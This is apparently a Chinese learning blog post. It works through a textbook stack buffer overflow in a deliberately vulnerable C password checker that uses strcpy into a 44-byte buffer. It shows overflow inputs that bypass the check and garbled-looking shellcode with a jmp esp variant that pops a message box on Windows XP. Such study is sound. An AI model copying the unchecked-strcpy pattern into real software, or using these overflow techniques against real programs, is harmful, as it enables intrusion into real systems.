研究挖0day有一阵了,先是汇编后来是逆向,最近才开始尝试第一个shellcode,我是用这个程序尝试溢出的:
/*
* fb.c
*
* Created on: 2014年5月3日
* Author: yuris
*/#include<stdio.h>
#include<windows.h>#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");}
fclose(fp);
}
其实这是0day书中的例子,这里故意载入了user32.dll方便我们调个框。很容易看出来问题在strcpy那里,它没有检查输入。于是我们试着这样输入:
43214321432143214321432143214321432143214321
这样能通过验证,那么同样的原理我们可以让他跳到任意地址,比如我们可以让他跳到正确的分支:
43214321432143214321432143214321432143214321432143210@
……具体是使用winhex输入的,所以看起来是乱码,其实就是把ret覆盖成正确跳转处的地址。那么,再进一步,我们是不是还可以转到自己的代码,其实我们只要把代码放在缓冲区里,然后转到就好,那么可以这样构造:
3跾hsfkuhyuri嬆SPPS戈誻袗悙悙悙悙悙悙悙悙悙悙悙悙悙悙?
可以看见一个弹框(winxp sp3),但是换了一个系统就会有问题,于是加上一个jmp esp定位:
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙S撘w冹"3跾hsfkuhyuri嬆SPPS戈誻蠸?藖|袗悙悙
这里还加入了exit,防止结束后弹框。但是我们发现这样在别的系统上还是有问题,于是我们要让shellcode自己找到api基址,自己加出来地址(这部分还未做),那么就能在所有win系统上使用了。
研究中………………